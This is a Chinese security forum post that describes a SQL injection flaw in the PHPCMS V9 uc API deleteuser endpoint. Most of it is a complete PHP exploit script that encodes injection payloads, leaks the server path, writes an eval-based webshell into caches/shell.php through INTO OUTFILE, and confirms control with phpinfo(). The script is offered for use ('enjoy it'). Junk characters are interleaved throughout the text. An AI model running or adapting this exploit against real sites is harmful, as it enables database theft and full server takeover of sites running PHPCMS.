找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2153|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。8 r9 j; }0 r6 w' o6 m, O/ r2 b
' ^+ ~0 d6 [9 |1 w; D8 N
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
* [) ^& r$ G9 g% c* |) v6 L% T! _& M9 p' G0 f9 ~' c
漏洞分析:# ^# o  q" R$ ~) N5 ?& h  K  U0 j; w
1.未启用ucenter服务的情况下uc_key为空$ q$ ^6 Y1 j' T5 g' @$ ~, s
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
8 A; x# w5 @" J# E8 P2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
; C! W/ Q3 m. x2 h4 y* v    public function deleteuser($get,$post) {5 I' z1 t! N1 T3 n# p
        pc_base::load_app_func('global', 'admin');
! Q& I+ Q  X+ y, P$ u% [6 N2 p        pc_base::load_app_class('messagequeue', 'admin' , 0);
5 x3 L- |) g* E4 G        $ids = new_stripslashes($get['ids']);$ v$ O: U/ O2 d; {0 ^) }  |
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");0 V( l" m: t! d9 g* D: C
SQL语句为
  \2 g+ _7 M1 y8 v$ F6 oSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)' ]: J& h9 a  ^" ?

3 W4 u3 ?, [2 t8 Q3 b7 ^( I* g利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
: @; j2 E1 o/ S. b4 k0 r/ q<?php, W- J; o/ r+ z+ P2 @4 |% j
print_r('1 w5 i1 r5 i6 f# w8 X4 J% B
---------------------------------------------------------------------------3 @/ b6 h+ L0 x4 V! l, z4 B4 c4 _
PHPcms (v9 or Old Version) uc api sql injection 0day' j7 Y1 G9 Y- [# {) R
by rayh4c#80sec.com: T. ~4 d3 ~8 D) Z, Q# t
---------------------------------------------------------------------------
' x9 n* Z# M, c3 P( |1 q! `. |) r');. J$ P( A% U+ T5 K
0 u( m+ A4 H; |( o+ i! ^. ?0 z
if ($argc<3) {
5 z; D' [4 T3 R# F' O' f  Q    print_r(') v. b8 [$ Q4 K3 H4 J+ h
---------------------------------------------------------------------------
0 \2 @( s" o4 C  N; S0 PUsage: php '.$argv[0].' host path OPTIONS
4 i) V* I9 S0 [+ ^: f/ hhost:      target server (ip/hostname)+ P. U7 V# v% A+ s" M6 C+ g- z
path:      path to phpcms. j* V; u' Z( O' f
Options:
0 ]! `5 P" F) c4 }/ f' c -p[port]:    specify a port other than 803 k+ C# E/ p6 T) {& R; B
-P[ip:port]: specify a proxy
) k9 ~( e  N# M9 t' Y0 ]Example:
' Q1 F; @# X* \php '.$argv[0].' localhost /2 m* Y: b: h& s) g& T
php '.$argv[0].' localhost /phpcms/ -p81
% q, H/ q3 O  x3 Y6 h5 y$ u& \' Aphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
' Z: _  T8 }9 O! O/ D9 B& L---------------------------------------------------------------------------# G- a; k, n1 w
');
4 ]2 E* _- _8 N6 q8 q" Z9 C. I    die;! _5 _6 R7 _3 h+ U
}
  O5 X' |( ~5 N) T: O  Z; w" w) [1 I6 f
error_reporting(7);
" V" o) T1 t1 }3 uini_set("max_execution_time",0);+ e3 T" i$ L5 q! F! \1 |
ini_set("default_socket_timeout",5);* J, I! }; z8 H! F
$ a3 A) C7 {' D* x% y5 t. n
function quick_dump($string)6 D) M7 s- E) i" V
{! p3 f$ m( n3 ]2 @7 L
  $result='';$exa='';$cont=0;- n' \8 U0 z5 |7 }! T  ]2 E+ \3 n
  for ($i=0; $i<=strlen($string)-1; $i++)" y, f/ Y6 W- ]* W4 y
  {  l/ ~. J. a6 s
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
' n  k1 P0 f) O$ b8 w0 ^$ V   {$result.="  .";}+ U$ p3 `2 @7 B$ y5 s8 [
   else
, @, L5 a/ ~8 _; Q, J2 H6 \8 C   {$result.="  ".$string[$i];}
6 j/ Z( U& d: J   if (strlen(dechex(ord($string[$i])))==2)# v5 U, O# h' d4 z# c1 M; m
   {$exa.=" ".dechex(ord($string[$i]));}! }+ I+ {& U7 C$ Y. Q% @
   else% i( O$ A) l' t! T6 ^- f! Y7 P
   {$exa.=" 0".dechex(ord($string[$i]));}" ]8 d: Q* _- i% a, t
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}# I3 V( d7 H# `" U
  }0 d# z4 G/ x0 l$ N" u, Q
return $exa."\r\n".$result;/ S6 }; n/ p; t: v6 G/ u8 b) W) D7 }
}8 @" v- F( R$ o( t
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
1 @" {* f/ P6 Q- _/ P( l
: g& E2 L: |7 \; D/ ^function send($packet)/ F5 C$ l. I0 A0 r( Y) T
{
; {$ h& c* r! H1 J+ z  global $proxy, $host, $port, $html, $proxy_regex;- w4 r7 k% Q+ b
  if ($proxy=='') {
/ C1 G5 q+ j: s' c! _& {    $ock=fsockopen(gethostbyname($host),$port);4 c6 s. l- Q2 O6 N
    if (!$ock) {
7 S9 {. J1 j3 Q+ t# w      echo 'No response from '.$host.':'.$port; die;9 \! Q6 K- c6 R2 |- ~0 \
    }
7 b% T. @9 [; k6 q  }
2 I) X# _) I5 A' q* y4 M  else {; ~/ O0 x6 v) ?4 ]  }; M
        $c = preg_match($proxy_regex,$proxy);" C  `7 O; S9 m
    if (!$c) {0 v( H0 z) C/ t" F5 z, G$ q5 w. E
      echo 'Not a valid proxy...';die;
' \* f$ o& K8 Z& `& r" e    }; |. M% P9 @3 n
    $parts=explode(':',$proxy);
8 x! Q, B; Y5 z) e    $parts[1]=(int)$parts[1];
* G, g- p! _4 h+ n  U: n- g    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";1 [3 {- v- ?, o4 t1 K9 s
    $ock=fsockopen($parts[0],$parts[1]);) \- A& L( x& S) m' P! X! C; b, ~% R
    if (!$ock) {
+ F7 f+ e. |% Q* P/ I      echo 'No response from proxy...';die;/ R! w0 H' g6 l/ ?: e. Q' r8 n
        }
2 f* u5 X& a! l( w3 |# T  }
: r$ q' x* x8 F  fputs($ock,$packet);
, E/ @0 I7 _5 r  if ($proxy=='') {$ K) @. K* ]/ b/ O( g& d3 X
    $html='';
) u& H7 ]% _( ?& {: I    while (!feof($ock)) {
% r( ~% v9 L& B5 ^      $html.=fgets($ock);2 j; {# R1 O8 k0 U1 C5 z
    }$ r$ N3 q% `4 {+ n3 R# _  M) b
  }
* [2 k& J: t% W2 A# O4 T  else {9 S0 B( w, r$ h2 J0 [+ r
    $html='';4 q- l) @6 [& u# j
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
1 `  E. P6 P) j7 k' b% U      $html.=fread($ock,1);" z3 u  k. {+ A  n6 `! K
    }
" G- c4 }& _" _7 B# F  }
& o+ F4 m9 v* G' ]  fclose($ock);
# G2 N9 Z& k  Q- Q+ q6 O6 H) d, w}8 Q% B0 \$ S! R" l8 e

* i+ [6 O5 ^& z, o" [$host=$argv[1];- R6 J" W: O* ~7 B+ ~/ x& G
$path=$argv[2];" l5 d' h) J8 T
$port=80;
1 J. v% P3 K8 J1 P2 U$proxy="";2 o* R" ]5 l3 r  U, `' C
for ($i=3; $i<$argc; $i++){
" e0 m: @) j9 f$temp=$argv[$i][0].$argv[$i][1];) b( [( K' I8 U8 |3 S
if ($temp=="-p")6 @* q0 U2 Y0 a- S8 P5 X
{
. m' @6 i7 u) _' z) M0 K  j6 w* [  $port=(int)str_replace("-p","",$argv[$i]);; s: J5 m& B5 A% c
}
' O: x$ I+ {3 F2 P( ]- d' W4 ~if ($temp=="-P")
- y" q$ ?* R6 S9 S& Y! S9 q{/ S. ]+ X9 T; i4 \" n
  $proxy=str_replace("-P","",$argv[$i]);& S; k! M* T2 U/ J# c
}0 u4 I# `" x6 F  N: k! f
}
- I2 g7 B7 W% l* Z2 M7 j4 y7 B/ h* o" V/ {" L% |/ _  ~
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
7 Z) J: X& T! N( D/ d- z8 Gif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
! s" b# C+ H# j4 j! p3 F1 a, u, T  H
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {5 C' F0 s) T: l6 P5 G7 t, B6 q9 g7 r
0 c) n0 L3 f$ T% ]" P
    $ckey_length = 4;7 |' I/ L2 J$ C/ {' L
# T8 N" K+ ?) ?% r% B+ ?" L+ R% l
    $key = md5($key ? $key : '');" e5 Y, e$ H( e" c  v2 i
    $keya = md5(substr($key, 0, 16));+ |( R: _- f& Y1 N, k3 g5 Z
    $keyb = md5(substr($key, 16, 16));
; S) Z" |: l2 ^5 s$ ?$ P9 v  \$ o    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
* |$ G' w) ?5 A  s8 R" l# x2 ]9 d1 H! `, K* G. R! ^" }
    $cryptkey = $keya.md5($keya.$keyc);, k: w& w  b7 s# D* ?( F2 Z* p
    $key_length = strlen($cryptkey);; I0 h6 m' \; z" B+ r/ L' W
  L2 b% N4 }, _7 {/ I9 G
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;, a. i# I+ j, X3 N4 F; Q# C1 c6 ]
    $string_length = strlen($string);- |1 p6 R. A* W% v9 Q

5 d: a, x1 m0 P1 J6 X" `    $result = '';- B3 f. f7 O: g: R) P
    $box = range(0, 255);4 @1 i/ b' b1 c! [7 s, _. @9 h( y
, O; D# r( O* @) R5 B- D
    $rndkey = array();& l. R- Z$ s9 s- y* O* ?* J
    for($i = 0; $i <= 255; $i++) {
# |9 T% q8 M) F& J+ t4 M2 Z6 j        $rndkey[$i] = ord($cryptkey[$i % $key_length]);& R6 t3 X4 V" p/ k% ?
    }
' ^) x! Y; l, E7 F  z$ L- O' d
) `  a5 M4 W( i2 Y    for($j = $i = 0; $i < 256; $i++) {
5 C1 P1 H- C. j9 ?# B: p        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
2 t8 n* s( E! c/ a* e        $tmp = $box[$i];
9 C8 S# K7 p, k$ Z2 c1 E) t7 Q  {        $box[$i] = $box[$j];
. _: K+ Y5 Y5 n. `" M3 n. b        $box[$j] = $tmp;) l0 C- o( h  m5 _' Z) s$ M4 k  _5 G
    }
! A; ^' Y9 D4 H" H# D* @
& |6 X, }  K. N* L9 `. P    for($a = $j = $i = 0; $i < $string_length; $i++) {0 h3 i7 Y' x' u
        $a = ($a + 1) % 256;0 T& m0 {! f' i( k. {1 n
        $j = ($j + $box[$a]) % 256;
9 A) W7 a: P/ E) _        $tmp = $box[$a];6 O& Y" d# \+ R) Q+ w# k
        $box[$a] = $box[$j];
) G8 F, C: M$ {' V        $box[$j] = $tmp;
' @1 a+ k4 c5 B* ^        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
% b' g3 S- V3 Z3 x6 g  ?    }
# K; X3 u) k1 L( K/ R- M3 O2 Q$ U5 ^. N9 }& H* }9 ~. H; C
    if($operation == 'DECODE') {! g. C  X& m9 H
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
- k2 ?( h5 m- v6 _6 l            return substr($result, 26);
' v9 ~8 s- ]0 ^' S3 F        } else {
! F4 r7 ~) n/ A: x. [            return '';' _1 g: }5 R$ v7 X
        }
$ |- [$ [; Q# N/ x. D    } else {
/ W/ m8 J, Z9 h; u        return $keyc.str_replace('=', '', base64_encode($result));( F1 j% C8 f6 ^& u4 s
    }, M4 \0 ?/ ?* U  c7 O
+ H- H: {: x4 c! |4 r: K+ _
}, M/ @) h0 c  b6 ?7 S7 V4 a
5 H( x' W* k0 ?$ f% ?
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
' G* e" L. ^; f$ w) S2 p  u# o$SQL = urlencode(authcode($SQL, "ENCODE", ""));5 A$ L4 I; [2 C+ ^* v. m
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
# W/ ?3 L) V6 D8 n% V6 u  _$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$ y& a" n/ f- Z: y$packet.="User-Agent: Mozilla/5.0\r\n";; Q& ?+ {2 p- m6 h* n* g
$packet.="Host: ".$host."\r\n";
8 F0 ^* u, B( q( n6 b9 I( C( z% V$packet.="Connection: Close\r\n\r\n";) ^! `; N. V1 R. h9 w6 V
send($packet);6 M# W/ S5 k! E5 {% J! B
if(strpos($html,"MySQL Errno") > 0){. }# S5 U( z. @6 `2 k# ?4 c
echo "[2] 发现存在SQL注入漏洞"."\n";
$ ?$ f6 f+ R- C) x; T7 becho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
' T: T6 _, a7 Y$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";* N! k, @0 ^) i2 e- b
$packet.="User-Agent: Mozilla/5.0\r\n";* Y( A0 z. ?+ c
$packet.="Host: ".$host."\r\n";# z4 D7 l$ O, i9 K6 X6 K" o5 H) H
$packet.="Connection: Close\r\n\r\n";9 I4 F0 t* g! I$ e& {2 _
send($packet);9 X. x2 ~0 Y7 `. W; f
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
* [0 D+ Z7 i! g- [0 T; t$ Y/ E//print_r($matches);  Y0 ?# Z) x9 j1 s9 `& d
if(!empty($matches)){
! Z0 a5 H  |0 `$ E2 o0 wecho "[4] 得到web路径 " . $matches[0]."\n";  ~5 q# \$ o% [2 m8 ]  @
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";3 a; q' q+ u1 N. h& @# v
$SQL = "time=999999999999999999999999&ids=1)";
9 o7 k$ O' M2 h. v% }- a' u$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";/ b4 N. u+ T- N" Z) _9 ^
$SQL.="&action=deleteuser";( c; k# e) Q. D! H
$SQL = urlencode(authcode($SQL, "ENCODE", ""));$ i  E9 }( Z/ m- V+ |8 i' S. ~' Z. a
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";5 j1 T, {. p1 P9 i5 g
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
6 H% |) d5 T: a+ ~  H$packet.="User-Agent: Mozilla/5.0\r\n";
9 q2 ]: Y/ y7 ^: S2 U$packet.="Host: ".$host."\r\n";7 q. W" S) |% C1 |$ A; _
$packet.="Connection: Close\r\n\r\n";* F) Y# I% D4 c0 z
send($packet);1 U: P) Z4 {& J) Y3 e2 @
if(strpos($html,"Access denied") > 0){
4 [" N" w, S7 P, v2 u; H7 Recho "[-] MYSQL权限过低 禁止写入文件 ";) d4 Z/ V% D" P5 \- T& J3 {, J; d
die;" D. X( v! {- V' r. [9 ]
}
5 C# o* s8 h+ A. t8 ?+ _2 n: _, i" eecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";) Q$ h- @* c# |% K$ m+ y6 _- {  I$ @
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";8 g% X9 q+ v' L% J% f5 r
$packet.="User-Agent: Mozilla/5.0\r\n";
. A. c+ [- S: W$ G! V. ~9 L$packet.="Host: ".$host."\r\n";
4 d0 s& X$ W8 p) ]$packet.="Connection: Close\r\n\r\n";4 s0 A$ T" u9 _
send($packet);% z) @2 ?% I' l# f& x4 s. K
if(strpos($html,"<title>phpinfo()</title>") > 0){* n0 k# A) ^0 w" U% p. i6 q# g
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";$ j' |: D4 r+ P. I$ P' e
}
" h$ ?' I* c3 V8 D3 ?. P5 S' L}else{4 J7 t  }; m- v6 H+ Z! f
echo "[-]未取到web路径 ";
8 ^3 U  c  Q; Q) C7 g}
6 o" P3 J( s* Q0 z; m- s9 ]2 X}else{
5 g. t1 w( X$ W0 l4 p% A; f6 Jecho "[*]不存在SQL注入漏洞"."\n";! c9 {8 w# `) A& o  ~4 d
}
: _9 L/ W/ ^- O5 L; T2 K+ F8 I" g4 {* s* c
?>
4 m" V  M! b. m1 p, m$ ?  w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表